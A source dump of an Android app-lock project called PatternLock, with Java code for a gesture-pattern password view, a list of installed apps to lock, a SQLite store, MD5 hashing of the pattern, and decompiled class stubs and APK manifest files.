                if (p == null) {  


                    movingNoPoint = true;  


                    moveingX = ex;  


                    moveingY = ey;  


                }  


            }  


            break;  


        case MotionEvent.ACTION_UP:  


            p = checkSelectPoint(ex, ey);  


            checking = false;  


            isFinish = true;  


            break;  


        }  


        if (!isFinish && checking && p != null) {  


  


            int rk = crossPoint(p);  


            if (rk == 2) //  


            {  


                // reset();  


                // checking = false;  


  


                movingNoPoint = true;  


                moveingX = ex;  


                moveingY = ey;  


  


                redraw = true;  


            } else if (rk == 0) //  


            {  


                p.state = Point.STATE_CHECK;  


                addPoint(p);  


                redraw = true;  


            }  


            // rk == 1  


  


        }  


  


        //  


        if (redraw) {  


  


        }  


        if (isFinish) {  


            if (this.sPoints.size() == 1) {  


                this.reset();  


            } else if (sPoints.size() < pwdMinLen || sPoints.size() > pwdMaxLen) {  


                // mCompleteListener.onPasswordTooMin(sPoints.size());  


                error();  


                clearPassword();  


                Toast.makeText(this.getContext(), "password too short or too long, cannot be saved!",  


                        Toast.LENGTH_SHORT).show();  


            } else if (mCompleteListener != null) {  


                this.disableTouch();  


                mCompleteListener.onComplete(toPointString());  


            }  


        }  


        this.postInvalidate();  


        return true;  


    }  


  


    /** 


     * 


     */  


    private void error() {  


        for (Point p : sPoints) {  


            p.state = Point.STATE_CHECK_ERROR;  


        }  


    }  


  


    public void markError() {  


        markError(CLEAR_TIME);  


    }  


  


    public void markError(final long time) {  


        for (Point p : sPoints) {  


            p.state = Point.STATE_CHECK_ERROR;  


        }  


        this.clearPassword(time);  


    }  


  


    public void enableTouch() {  


        isTouch = true;  


    }  


  


    public void disableTouch() {  


        isTouch = false;  


    }  


  


    private Timer timer = new Timer();  


    private TimerTask task = null;  


  


  


    public void clearPassword() {  


        clearPassword(CLEAR_TIME);  


    }  


  


    public void clearPassword(final long time) {  


        if (time > 1) {  


            if (task != null) {  


                task.cancel();  


                Log.d("task", "clearPassword cancel()");  


            }  


            postInvalidate();  


            task = new TimerTask() {  


                public void run() {  


                    reset();  


                    postInvalidate();  


                }  


            };  


            Log.d("task", "clearPassword schedule(" + time + ")");  


            timer.schedule(task, time);  


        } else {  


            reset();  


            postInvalidate();  


        }  


  


    }  


  


    //  


    private OnCompleteListener mCompleteListener;  


  


    /** 


     * @param mCompleteListener 


     */  


    public void setOnCompleteListener(OnCompleteListener mCompleteListener) {  


        this.mCompleteListener = mCompleteListener;  


    }  


  


    public interface OnCompleteListener {  


          


        public void onComplete(String password);  


    }  


}





class Point {


    


    public static int STATE_NORMAL = 0;  


    public static int STATE_CHECK = 1; //  


    public static int STATE_CHECK_ERROR = 2; //  


  


    public float x;  


    public float y;  


    public int state = 0;  


    public int index = 0;//  


  


    public Point() {  


  


    }  


  


    public Point(float x, float y, int value) {  


        this.x = x;  


        this.y = y;  


        index = value;  


    }  


      


    public int getColNum() {  


        return (index - 1) % 3;  


    }  


      


    public int getRowNum() {  


        return (index - 1) / 3;  


    }  





}
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package com.example.patternlock;





import java.util.ArrayList;


import java.util.HashMap;


import java.util.List;





import android.os.Bundle;


import android.annotation.SuppressLint;


import android.app.Activity;


import android.content.Intent;


import android.content.SharedPreferences;


import android.content.pm.PackageInfo;


import android.content.pm.PackageManager;


import android.util.Log;


import android.view.Menu;


import android.view.View;


import android.widget.AdapterView;


import android.widget.AdapterView.OnItemClickListener;


import android.widget.ListView;


import android.widget.SimpleAdapter;


import android.widget.Switch;


import android.widget.TextView;


import android.widget.Toast;





@SuppressLint("UseSparseArrays")


public class MainActivity extends Activity{


    private ListView list;


    MyAdapter adapter;


    //Mydb dbs;


    Mydb dbs;


    PackageManager pm;


    List<PackageInfo> packs;


    String[] names;


    String[] appnames;


    HashMap<Integer, Boolean> isSelected; 


    String flag="";





    @Override


    protected void onCreate(Bundle savedInstanceState) {


        super.onCreate(savedInstanceState);


        setContentView(R.layout.activity_main);


        list=(ListView)findViewById(R.id.packs);


        dbs=new Mydb(this);


        pm=this.getPackageManager();


        packs=pm.getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES);


        names=new String[packs.size()];


        appnames=new String[packs.size()];


        isSelected=new HashMap<Integer, Boolean>();


        for(int i=0;i<packs.size();i++){


            names[i]=packs.get(i).packageName;


            //appnames[i]=packs.get(i).applicationInfo.loadLabel(getPackageManager()).toString();


            if(names[i].equals("com.example.patternlock")){


                packs.remove(i);


            }


//              


        }


        names=new String[packs.size()];


        appnames=new String[packs.size()];


        for(int i=0;i<packs.size();i++){


            names[i]=packs.get(i).packageName;


            appnames[i]=packs.get(i).applicationInfo.loadLabel(getPackageManager()).toString();


            if(dbs.query(packs.get(i).packageName)){


                isSelected.put(i, true);


            


            }else{


                isSelected.put(i, false);


            }


        }


        adapter=new MyAdapter(this,names,isSelected,appnames);


        list.setAdapter(adapter);


        sendBroadcast(new Intent("patternlock"));  


    }


    


    





    @Override


    protected void onStart() {


        // TODO Auto-generated method stub


        super.onStart();


        flag="";


        SharedPreferences sp=this.getSharedPreferences("lock", MODE_PRIVATE);


        if(sp.getBoolean("islocked", true)){


            flag="tolock";


            toUnLock();


            sp.edit().putBoolean("islocked", false).commit();


        }


        


        


    }





    private void toUnLock() {


        // TODO Auto-generated method stub


        Intent intent=new Intent();


        intent.setClass(MainActivity.this, Lockthis.class);


        MainActivity.this.startActivity(intent);


    }





    





    





    @Override


    protected void onPause() {


        // TODO Auto-generated method stub


        super.onPause();


        SharedPreferences sp=this.getSharedPreferences("lock", MODE_PRIVATE);


        if(flag.equals("tolock")){


            sp.edit().putBoolean("islocked", false).commit();


        }else{


            


            sp.edit().putBoolean("islocked", true).commit();


        }


        


    }


    


    


    











    @Override


    public boolean onCreateOptionsMenu(Menu menu) {


        // Inflate the menu; this adds items to the action bar if it is present.


        getMenuInflater().inflate(R.menu.main, menu);


        return true;


    }





}
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package com.example.patternlock;





public class MathUtil {


    


    public static double distance(double x1, double y1, double x2, double y2) {  


        return Math.sqrt(Math.abs(x1 - x2) * Math.abs(x1 - x2)  


                + Math.abs(y1 - y2) * Math.abs(y1 - y2));  


    }  


  


    public static double pointTotoDegrees(double x, double y) {  


        return Math.toDegrees(Math.atan2(x, y));  


    }  


      


    public static boolean checkInRound(float sx, float sy, float r, float x,  


            float y) {  


        return Math.sqrt((sx - x) * (sx - x) + (sy - y) * (sy - y)) < r;  


    }  





}
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package com.example.patternlock;





import java.io.File;


import java.io.FileInputStream;


import java.security.MessageDigest;


import java.security.NoSuchAlgorithmException;





public class Md5Utils {


    


     // first argument is the password need MD5  


    // second argument is algorithm  


    // third argument is separate symbol  


    public String toMd5(String original, String separator) {  


        try {  


            String result;  


            byte[] bytes = original.getBytes();  


            MessageDigest algorithm = MessageDigest.getInstance("MD5");  


            algorithm.reset();  


            algorithm.update(bytes);  


            result = toHexString(algorithm.digest(), separator);  


            return result;  


        } catch (NoSuchAlgorithmException e) {  


            throw new RuntimeException(e);  


        }  


    }  


  


    public String toHexString(byte[] bytes, String separator) {  


        StringBuilder hexString = new StringBuilder();  


        for (byte b : bytes) {  


            hexString.append(String.format("%02x", 0xFF & b)).append(separator);  


        }  


        return hexString.toString();  


    }  


      


    /** Calculate MD5 sum of a file */  


    static final public String calcMD5(File file){  


        try{  


            MessageDigest md = MessageDigest.getInstance("MD5");  


      


            FileInputStream input = new FileInputStream(file);  


            byte[] buf = new byte[1024];  


      


            while (input.available() > 0) {  


                int res = input.read(buf, 0, buf.length);  


      


                md.update(buf, 0, res);  


            }  


            input.close();  


              


            byte[] md5 = md.digest();  


      


            return bytesToHexString(md5);  


        }catch(Exception e){  


            e.printStackTrace();  


        }  


          


        return ""+file.length();  


    }  


  


    /** 


     * Convert an array of bytes to a string of hexadecimal numbers 


     */  


    static final private String bytesToHexString(byte[] array) {  


        StringBuffer res = new StringBuffer();  


  


        for (int i = 0; i < array.length; i++) {  


            int val = array[i] + 256;  


            String b = "00" + Integer.toHexString(val);  


            int len = b.length();  


            String sub = b.substring(len - 2);  


  


            res.append(sub);  


        }  


  


        return res.toString();  


    }     





}
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package com.example.patternlock;





import java.util.HashMap;


import java.util.List;





import android.annotation.SuppressLint;


import android.content.Context;


import android.content.pm.PackageInfo;


import android.content.pm.PackageManager;


import android.util.Log;


import android.view.LayoutInflater;


import android.view.View;


import android.view.ViewGroup;


import android.widget.BaseAdapter;


import android.widget.CompoundButton;


import android.widget.Toast;


import android.widget.CompoundButton.OnCheckedChangeListener;


import android.widget.Switch;


import android.widget.TextView;





public class MyAdapter extends BaseAdapter{


    


    private Context context; 


  //  private String[] beans; 


    Mydb dbs;


    String[] names;


    String[] appname;


    // 用来控制CheckBox的选中状况 


    private static HashMap<Integer, Boolean> isSelected; 


   


    class ViewHolder { 


   


        TextView tvName; 


        TextView app_Name;


        Switch cb; 


    } 


    


    @SuppressLint("UseSparseArrays")


    public MyAdapter(Context context, String[] names2, HashMap<Integer, Boolean> isSelected2, String[] appnames) { 


        // TODO Auto-generated constructor stub 


       // this.beans = beans; 


        this.context = context; 


        this.names=names2;


        this.isSelected=isSelected2;


        this.appname=appnames;


        dbs=new Mydb(context);


      //  isSelected = new HashMap<Integer, Boolean>(); 


      //  names=new String[packs.size()];


        // 初始化数据 


       // initDate(); 


    } 


   


//    // 初始化isSelected的数据 


//    private void initDate() { 


//        for (int i = 0; i < packs.size(); i++) { 


//          if(dbs.query(packs.get(i).packageName)){


//              isSelected.put(i, true);


//          }else{


//              isSelected.put(i, false); 


//          }


//            names[i]=packs.get(i).packageName;


//        } 


//    } 





    @Override


    public int getCount() {


        // TODO Auto-generated method stub


        return names.length;


    }





    @Override


    public Object getItem(int position) {


        // TODO Auto-generated method stub


        return null;


    }





    @Override


    public long getItemId(int position) {


        // TODO Auto-generated method stub


        return position;


    }





    @Override


    public View getView(final int position, View convertView, ViewGroup parent) {


        // TODO Auto-generated method stub


         // 页面 


        ViewHolder holder; 


        final String bean = names[position]; 


        final String appinfo=appname[position];


        LayoutInflater inflater = LayoutInflater.from(context); 


        if (convertView == null) { 


            convertView = inflater.inflate( 


                    R.layout.list_items, null); 


            holder = new ViewHolder(); 


            holder.cb = (Switch) convertView.findViewById(R.id.switch1); 


            holder.tvName = (TextView) convertView.findViewById(R.id.packname); 


            holder.app_Name=(TextView) convertView.findViewById(R.id.appName); 


            convertView.setTag(holder); 


        } else { 


            // 取出holder 


            holder = (ViewHolder) convertView.getTag(); 


        } 


   


        holder.tvName.setText(bean); 


        holder.app_Name.setText(appinfo);


       


        holder.cb.setOnCheckedChangeListener(new OnCheckedChangeListener(){





            @SuppressLint("ShowToast")


            @Override


            public void onCheckedChanged(CompoundButton buttonView,


                    boolean isChecked) {


                // TODO Auto-generated method stub


                if(isChecked){


                    isSelected.put(position, true);


                    //Toast.makeText(context, "selected", 3000).show();


                    if(dbs.query(bean)){


                        //isSelected.put(position, value)


                        //Toast.makeText(context, "already inserted", 3000).show();


//                      Log.i("patternlock", package_name+"islock");


                    }else{


                        dbs.insert(bean);


                        //Toast.makeText(context, "be inserted", 3000).show();


//                      holder.cb.getTag().


//                      isSelected.put(position, true);


//                      Toast.makeText(MainActivity.this, "success", 3000).show();


//                      Log.i("patternlock", package_name+"isinsertlock");


                    }


                }else{


                    isSelected.put(position, false);


                    //Toast.makeText(context, "unselected", 3000).show();


                    if(dbs.query(bean)){


                        //Toast.makeText(MainActivity.this, "deleted", 3000).show();


                        dbs.delete(bean);


                        //Toast.makeText(context, "deleted", 3000).show();


                        //Log.i("patternlock", package_name+"isdeletelock");


                    }else{


                        //Log.i("patternlock", package_name+"isunlock");


                        //Toast.makeText(MainActivity.this, "unlocked", 3000).show();


                    }


                }


            }


            


        });


        // 根据isSelected来设置checkbox的选中状况 


        holder.cb.setChecked(isSelected.get(position)); 


        


        return convertView;


    }





}
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package com.example.patternlock;





import android.content.Context;


import android.database.Cursor;


import android.database.sqlite.SQLiteDatabase;


import android.database.sqlite.SQLiteOpenHelper;





public class Mydb extends SQLiteOpenHelper{





    public Mydb(Context context) {


        super(context, "app_sec", null, 1);


        // TODO Auto-generated constructor stub


    }





    @Override


    public void onCreate(SQLiteDatabase db) {


        // TODO Auto-generated method stub


        String sql="create table securities (id integer primary key autoincrement, packagename varchar(20))";


        db.execSQL(sql);


        //insert("com.example.patternlock");


    }





    @Override


    public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {


        // TODO Auto-generated method stub


        //db.execSQL("create table applocks (_id integer primary key autoincrement, packagename varchar(30))");


    }


    


    public void insert(String packageName){


         if(query(packageName))


         {


                 return ;


         }


         SQLiteDatabase db = this.getWritableDatabase();


        


                 db.execSQL("insert into securities (packagename) values (?)", new String[] {packageName});


         


    }


    


    public void delete(String packageName){


         if(!query(packageName))


         {


                 return ;


         }


         SQLiteDatabase dbs = this.getWritableDatabase();


        


                 dbs.execSQL("delete from securities where packagename = ? ", new String[] {packageName});


         


    }


    


    public boolean query(String packageName){


        boolean result=false;


        SQLiteDatabase dbs = this.getReadableDatabase();


        


                Cursor cursor = dbs.rawQuery("select packagename from securities where packagename = ? ", new String[] {packageName});


                if(cursor.moveToNext())


                {


                    result = true;


                }


                cursor.close();


        


        return result;


        


    }


    


    





}
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package com.example.patternlock;





import android.content.BroadcastReceiver;


import android.content.Context;


import android.content.Intent;


import android.util.Log;





public class MyReceiver extends BroadcastReceiver{





    @Override


    public void onReceive(Context arg0, Intent arg1) {


        // TODO Auto-generated method stub


         Intent service = new Intent(arg0,LockService.class);  


         arg0.startService(service);  


         Log.i("patternlock", "receiveriscreate");


    }





}
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/* AUTO-GENERATED FILE.  DO NOT MODIFY.


 *


 * This class was automatically generated by the


 * aapt tool from the resource data it found.  It


 * should not be modified by hand.


 */





package com.example.patternlock;





public final class R {


    public static final class attr {


    }


    public static final class dimen {


        /**  Default screen margins, per the Android Design guidelines. 





         Customize dimensions originally defined in res/values/dimens.xml (such as


         screen margins) for sw720dp devices (e.g. 10" tablets) in landscape here.


    


         */


        public static final int activity_horizontal_margin=0x7f040000;


        public static final int activity_vertical_margin=0x7f040001;


    }


    public static final class drawable {


        public static final int ic_launcher=0x7f020000;


    }


    public static final class id {


        public static final int action_settings=0x7f080006;


        public static final int appName=0x7f080004;


        public static final int mPassWordView=0x7f080001;


        public static final int marker=0x7f080000;


        public static final int packname=0x7f080003;


        public static final int packs=0x7f080002;


        public static final int switch1=0x7f080005;


    }


    public static final class layout {


        public static final int activity_lockthis=0x7f030000;


        public static final int activity_main=0x7f030001;


        public static final int activity_wel=0x7f030002;


        public static final int list_items=0x7f030003;


    }


    public static final class menu {


        public static final int lockthis=0x7f070000;


        public static final int main=0x7f070001;


        public static final int wel=0x7f070002;


    }


    public static final class string {


        public static final int action_settings=0x7f050001;


        public static final int app_name=0x7f050000;


        public static final int hello_world=0x7f050002;


        public static final int title_activity_lockthis=0x7f050004;


        public static final int title_activity_wel=0x7f050003;


    }


    public static final class style {


        /** 


        Base application theme, dependent on API level. This theme is replaced


        by AppBaseTheme from res/values-vXX/styles.xml on newer devices.


    





            Theme customizations available in newer API levels can go in


            res/values-vXX/styles.xml, while customizations related to


            backward-compatibility can go here.


        





        Base application theme for API 11+. This theme completely replaces


        AppBaseTheme from res/values/styles.xml on API 11+ devices.


    


 API 11 theme customizations can go here. 





        Base application theme for API 14+. This theme completely replaces


        AppBaseTheme from BOTH res/values/styles.xml and


        res/values-v11/styles.xml on API 14+ devices.


    


 API 14 theme customizations can go here. 


         */


        public static final int AppBaseTheme=0x7f060000;


        /**  Application theme. 


 All customizations that are NOT specific to a particular API-level can go here. 


         */


        public static final int AppTheme=0x7f060001;


    }


}
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PatternLock/src/com/example/patternlock/WelActivity.java

package com.example.patternlock;





import com.example.patternlock.LocusPassWordView.OnCompleteListener;





import android.os.Bundle;


import android.app.Activity;


import android.content.SharedPreferences;


import android.view.KeyEvent;


import android.view.Menu;


import android.view.Window;


import android.widget.TextView;


import android.widget.Toast;





public class WelActivity extends Activity {


    private LocusPassWordView mPwdView; 


    SharedPreferences sp;


    SharedPreferences.Editor  ed;


    private TextView mark;


    String pwd,pwd1,pwd2;//缓存的原始密码,第一擦绘制的密码，第二次绘制的密码


    boolean First=true;//是否是初次绘制密码


    boolean setted=false;//是否设置过密码


    String packName;





    @Override


    protected void onCreate(Bundle savedInstanceState) {


        super.onCreate(savedInstanceState);


        this.requestWindowFeature(Window.FEATURE_NO_TITLE);


        setContentView(R.layout.activity_wel);


        mark=(TextView)findViewById(R.id.marker);


        packName=getIntent().getExtras().getString("packName");


        mPwdView = (LocusPassWordView) this.findViewById(R.id.mPassWordView);  


        sp =  getSharedPreferences("lock", Activity.MODE_PRIVATE); 


        ed=sp.edit();


        pwd = sp.getString(packName+"pwd", ""); 


        if (pwd.length() == 0) {  


            setted=false;


            First=true;


            mark.setText("请设置解锁密码"); 


        }else{


            setted=true;


            mark.setText("请绘制密码解锁");


        }


        


        mPwdView.setOnCompleteListener(new OnCompleteListener() {  


            @Override  


            public void onComplete(String mPassword) {  


                 


                Md5Utils md5 = new Md5Utils();  


                boolean passed = false;  


                if (!setted&&First) {  


                    pwd1=mPassword;


                    ed.putString(packName+"pwd", md5.toMd5(mPassword, "")); 


                    ed.commit();


                    mPwdView.clearPassword();


                    mark.setText("请确认密码");


                    First=false;


                    


                   // passed = true;  


                }else if(!setted&&!First){


                    pwd2=mPassword;


                    if(!pwd1.equals(pwd2)){


                        Toast.makeText(WelActivity.this, "与先前绘制的手势不同,请重新绘制", Toast.LENGTH_LONG).show();


                        mPwdView.clearPassword();


                    }else{


                        Toast.makeText(WelActivity.this, "密码设置成功,请绘制密码解锁", Toast.LENGTH_LONG    ).show();


                        mPwdView.clearPassword();


                        mark.setText("请绘制密码解锁");


                        setted=true;


                        pwd = sp.getString(packName+"pwd", ""); 


                    }


                } else {  


                    String encodedPwd = md5.toMd5(mPassword, "");  


                    if (encodedPwd.equals(pwd)) {  


                        passed = true;  


                    } else {  


                        mPwdView.markError();  


                    }  


                }  


                  


                if (passed) {  


                    Check.getIntence().saveIsFinished(WelActivity.this,packName, true);


                    //onDestroy();


                    finish();  


                }  


            }  


        });  


    }





    @Override


    public boolean onCreateOptionsMenu(Menu menu) {


        // Inflate the menu; this adds items to the action bar if it is present.


        getMenuInflater().inflate(R.menu.wel, menu);


        return true;


    }





    @Override


    public boolean onKeyDown(int keyCode, KeyEvent event) {


        // TODO Auto-generated method stub


        if (event.getKeyCode() == KeyEvent.KEYCODE_BACK) {  


            return true;  


        }  


        return super.onKeyDown(keyCode, event);


    }


    


    





}







PatternLock/bin/classes/com/example/patternlock/BuildConfig.class

package com.example.patternlock;
public final synchronized class BuildConfig {
    public static final boolean DEBUG = 1;
    public void BuildConfig();
}
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package com.example.patternlock;
public synchronized class Check {
    private static Check shared;
    public void Check();
    public static synchronized Check getIntence();
    public boolean getIsFinished(android.content.Context, String);
    public boolean getLockOpened(android.content.Context, String);
    public void saveIsFinished(android.content.Context, String, boolean);
    public void saveOpened(android.content.Context, String, boolean);
}







PatternLock/bin/classes/com/example/patternlock/LockService$1.class

package com.example.patternlock;
synchronized class LockService$1 extends java.util.TimerTask {
    void LockService$1(LockService);
    public void run();
}







PatternLock/bin/classes/com/example/patternlock/LockService.class

package com.example.patternlock;
public synchronized class LockService extends android.app.Service {
    android.content.Context context;
    private java.util.Timer timer;
    public static final int FOREGROUND_ID = 0;
    android.app.ActivityManager am;
    Mydb dbs;
    String lastpack;
    public void LockService();
    public android.os.IBinder onBind(android.content.Intent);
    public void onCreate();
    public int onStartCommand(android.content.Intent, int, int);
    public void onDestroy();
    private void startTimer();
}
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package com.example.patternlock;
synchronized class Lockthis$1 implements LocusPassWordView$OnCompleteListener {
    void Lockthis$1(Lockthis);
    public void onComplete(String);
}







PatternLock/bin/classes/com/example/patternlock/Lockthis.class

package com.example.patternlock;
public synchronized class Lockthis extends android.app.Activity {
    private LocusPassWordView mPwdView;
    private android.widget.TextView mark;
    String pwd;
    String pwd1;
    String pwd2;
    boolean First;
    boolean setted;
    android.content.SharedPreferences sp;
    android.content.SharedPreferences$Editor ed;
    public void Lockthis();
    protected void onCreate(android.os.Bundle);
    public boolean onCreateOptionsMenu(android.view.Menu);
}







PatternLock/bin/classes/com/example/patternlock/LocusPassWordView$1.class

package com.example.patternlock;
synchronized class LocusPassWordView$1 extends java.util.TimerTask {
    void LocusPassWordView$1(LocusPassWordView);
    public void run();
}







PatternLock/bin/classes/com/example/patternlock/LocusPassWordView$OnCompleteListener.class

package com.example.patternlock;
public abstract interface LocusPassWordView$OnCompleteListener {
    public abstract void onComplete(String);
}







PatternLock/bin/classes/com/example/patternlock/LocusPassWordView.class

package com.example.patternlock;
public synchronized class LocusPassWordView extends android.view.View {
    private float width;
    private float height;
    private boolean isCache;
    private android.graphics.Paint mPaint;
    private Point[][] mPoints;
    private float dotRadius;
    private java.util.List sPoints;
    private boolean checking;
    private long CLEAR_TIME;
    private int pwdMaxLen;
    private int pwdMinLen;
    private boolean isTouch;
    private android.graphics.Paint arrowPaint;
    private android.graphics.Paint linePaint;
    private android.graphics.Paint selectedPaint;
    private android.graphics.Paint errorPaint;
    private android.graphics.Paint normalPaint;
    private int errorColor;
    private int selectedColor;
    private int outterSelectedColor;
    private int outterErrorColor;
    private int dotColor;
    private int outterDotColor;
    boolean movingNoPoint;
    float moveingX;
    float moveingY;
    private java.util.Timer timer;
    private java.util.TimerTask task;
    private LocusPassWordView$OnCompleteListener mCompleteListener;
    public void LocusPassWordView(android.content.Context, android.util.AttributeSet, int);
    public void LocusPassWordView(android.content.Context, android.util.AttributeSet);
    public void LocusPassWordView(android.content.Context);
    public void onDraw(android.graphics.Canvas);
    private void drawToCanvas(android.graphics.Canvas);
    private void drawLine(Point, Point, android.graphics.Canvas, android.graphics.Paint);
    private void drawArrow(android.graphics.Canvas, android.graphics.Paint, Point, Point, float, int);
    private void initCache();
    private void initPaints();
    public int[] getArrayIndex(int);
    private Point checkSelectPoint(float, float);
    private void reset();
    private int crossPoint(Point);
    private void addPoint(Point);
    private String toPointString();
    public boolean onTouchEvent(android.view.MotionEvent);
    private void error();
    public void markError();
    public void markError(long);
    public void enableTouch();
    public void disableTouch();
    public void clearPassword();
    public void clearPassword(long);
    public void setOnCompleteListener(LocusPassWordView$OnCompleteListener);
}
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package com.example.patternlock;
public synchronized class MainActivity extends android.app.Activity {
    private android.widget.ListView list;
    MyAdapter adapter;
    Mydb dbs;
    android.content.pm.PackageManager pm;
    java.util.List packs;
    String[] names;
    String[] appnames;
    java.util.HashMap isSelected;
    String flag;
    public void MainActivity();
    protected void onCreate(android.os.Bundle);
    protected void onStart();
    private void toUnLock();
    protected void onPause();
    public boolean onCreateOptionsMenu(android.view.Menu);
}
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package com.example.patternlock;
public synchronized class MathUtil {
    public void MathUtil();
    public static double distance(double, double, double, double);
    public static double pointTotoDegrees(double, double);
    public static boolean checkInRound(float, float, float, float, float);
}







PatternLock/bin/classes/com/example/patternlock/Md5Utils.class

package com.example.patternlock;
public synchronized class Md5Utils {
    public void Md5Utils();
    public String toMd5(String, String);
    public String toHexString(byte[], String);
    public static final String calcMD5(java.io.File);
    private static final String bytesToHexString(byte[]);
}







PatternLock/bin/classes/com/example/patternlock/MyAdapter$1.class

package com.example.patternlock;
synchronized class MyAdapter$1 implements android.widget.CompoundButton$OnCheckedChangeListener {
    void MyAdapter$1(MyAdapter, int, String);
    public void onCheckedChanged(android.widget.CompoundButton, boolean);
}







PatternLock/bin/classes/com/example/patternlock/MyAdapter$ViewHolder.class

package com.example.patternlock;
synchronized class MyAdapter$ViewHolder {
    android.widget.TextView tvName;
    android.widget.TextView app_Name;
    android.widget.Switch cb;
    void MyAdapter$ViewHolder(MyAdapter);
}







PatternLock/bin/classes/com/example/patternlock/MyAdapter.class

package com.example.patternlock;
public synchronized class MyAdapter extends android.widget.BaseAdapter {
    private android.content.Context context;
    Mydb dbs;
    String[] names;
    String[] appname;
    private static java.util.HashMap isSelected;
    public void MyAdapter(android.content.Context, String[], java.util.HashMap, String[]);
    public int getCount();
    public Object getItem(int);
    public long getItemId(int);
    public android.view.View getView(int, android.view.View, android.view.ViewGroup);
}
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package com.example.patternlock;
public synchronized class Mydb extends android.database.sqlite.SQLiteOpenHelper {
    public void Mydb(android.content.Context);
    public void onCreate(android.database.sqlite.SQLiteDatabase);
    public void onUpgrade(android.database.sqlite.SQLiteDatabase, int, int);
    public void insert(String);
    public void delete(String);
    public boolean query(String);
}







PatternLock/bin/classes/com/example/patternlock/MyReceiver.class

package com.example.patternlock;
public synchronized class MyReceiver extends android.content.BroadcastReceiver {
    public void MyReceiver();
    public void onReceive(android.content.Context, android.content.Intent);
}
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package com.example.patternlock;
synchronized class Point {
    public static int STATE_NORMAL;
    public static int STATE_CHECK;
    public static int STATE_CHECK_ERROR;
    public float x;
    public float y;
    public int state;
    public int index;
    static void <clinit>();
    public void Point();
    public void Point(float, float, int);
    public int getColNum();
    public int getRowNum();
}
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package com.example.patternlock;
public final synchronized class R$attr {
    public void R$attr();
}
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package com.example.patternlock;
public final synchronized class R$dimen {
    public static final int activity_horizontal_margin = 2130968576;
    public static final int activity_vertical_margin = 2130968577;
    public void R$dimen();
}
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package com.example.patternlock;
public final synchronized class R$drawable {
    public static final int ic_launcher = 2130837504;
    public void R$drawable();
}







PatternLock/bin/classes/com/example/patternlock/R$id.class

package com.example.patternlock;
public final synchronized class R$id {
    public static final int action_settings = 2131230726;
    public static final int appName = 2131230724;
    public static final int mPassWordView = 2131230721;
    public static final int marker = 2131230720;
    public static final int packname = 2131230723;
    public static final int packs = 2131230722;
    public static final int switch1 = 2131230725;
    public void R$id();
}
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package com.example.patternlock;
public final synchronized class R$layout {
    public static final int activity_lockthis = 2130903040;
    public static final int activity_main = 2130903041;
    public static final int activity_wel = 2130903042;
    public static final int list_items = 2130903043;
    public void R$layout();
}
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package com.example.patternlock;
public final synchronized class R$menu {
    public static final int lockthis = 2131165184;
    public static final int main = 2131165185;
    public static final int wel = 2131165186;
    public void R$menu();
}
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package com.example.patternlock;
public final synchronized class R$string {
    public static final int action_settings = 2131034113;
    public static final int app_name = 2131034112;
    public static final int hello_world = 2131034114;
    public static final int title_activity_lockthis = 2131034116;
    public static final int title_activity_wel = 2131034115;
    public void R$string();
}
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package com.example.patternlock;
public final synchronized class R$style {
    public static final int AppBaseTheme = 2131099648;
    public static final int AppTheme = 2131099649;
    public void R$style();
}
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package com.example.patternlock;
public final synchronized class R {
    public void R();
}
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package com.example.patternlock;
synchronized class WelActivity$1 implements LocusPassWordView$OnCompleteListener {
    void WelActivity$1(WelActivity);
    public void onComplete(String);
}
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package com.example.patternlock;
public synchronized class WelActivity extends android.app.Activity {
    private LocusPassWordView mPwdView;
    android.content.SharedPreferences sp;
    android.content.SharedPreferences$Editor ed;
    private android.widget.TextView mark;
    String pwd;
    String pwd1;
    String pwd2;
    boolean First;
    boolean setted;
    String packName;
    public void WelActivity();
    protected void onCreate(android.os.Bundle);
    public boolean onCreateOptionsMenu(android.view.Menu);
    public boolean onKeyDown(int, android.view.KeyEvent);
}
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PatternLock/proguard-project.txt

# To enable ProGuard in your project, edit project.properties
# to define the proguard.config property as described in that file.
#
# Add project specific ProGuard rules here.
# By default, the flags in this file are appended to flags specified
# in ${sdk.dir}/tools/proguard/proguard-android.txt
# You can edit the include path and order by changing the ProGuard
# include property in project.properties.
#
# For more details, see
#   http://developer.android.com/guide/developing/tools/proguard.html

# Add any project specific keep options here:

# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
#   public *;
#}
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classes.dex








META-INF/MANIFEST.MF


Manifest-Version: 1.0
Created-By: 1.0 (Android)

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: AfPh3OJoypH966MludSW6f1RHg4=

Name: res/menu/main.xml
SHA1-Digest: kDzNdTjurp81Rz77haa7Leuaobg=

Name: res/layout/list_items.xml
SHA1-Digest: Wh0GvrBabt7NqarTSJHsEsWHOTE=

Name: AndroidManifest.xml
SHA1-Digest: mD+XD41j6inPhrM4apdhGjXXQXs=

Name: res/drawable-mdpi/ic_launcher.png
SHA1-Digest: RRxOSvpmhVfCwiprVV/wZlaqQpw=

Name: res/menu/lockthis.xml
SHA1-Digest: kDzNdTjurp81Rz77haa7Leuaobg=

Name: res/drawable-hdpi/ic_launcher.png
SHA1-Digest: Nq8q3HeTluE5JNCBpVvNy3BXtJI=

Name: res/layout/activity_lockthis.xml
SHA1-Digest: 7jVhL8YdSkOy5Q52myvz0D5BvHY=

Name: res/menu/wel.xml
SHA1-Digest: kDzNdTjurp81Rz77haa7Leuaobg=

Name: res/layout/activity_wel.xml
SHA1-Digest: 7jVhL8YdSkOy5Q52myvz0D5BvHY=

Name: res/layout/activity_main.xml
SHA1-Digest: SjGtvHLzm+23IGe2BOTKMDgZ2B8=

Name: resources.arsc
SHA1-Digest: XXopJn/URtvJRG5VXEDaOVlgPx8=

Name: classes.dex
SHA1-Digest: Zr78FBoyd/bUdxJWqfd59WKOHyE=

Name: res/drawable-xxhdpi/ic_launcher.png
SHA1-Digest: GVIfdEOBv4gEny2T1jDhGGsZOBo=











META-INF/CERT.SF


Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: MK0AXCqcDL8ibNTwctaEYTJlF4k=

Name: res/menu/main.xml
SHA1-Digest: jZU9rwcgmY1z/cW1M9Yw827mqDs=

Name: res/drawable-xhdpi/ic_launcher.png
SHA1-Digest: cIga++hy5wqjHl9IHSfbg8tqCug=

Name: res/layout/list_items.xml
SHA1-Digest: /esOeAndfGqJlYBlOCx7ecyHR1w=

Name: AndroidManifest.xml
SHA1-Digest: oKCKuxbsOiywDWyX1YftGHtJPSE=

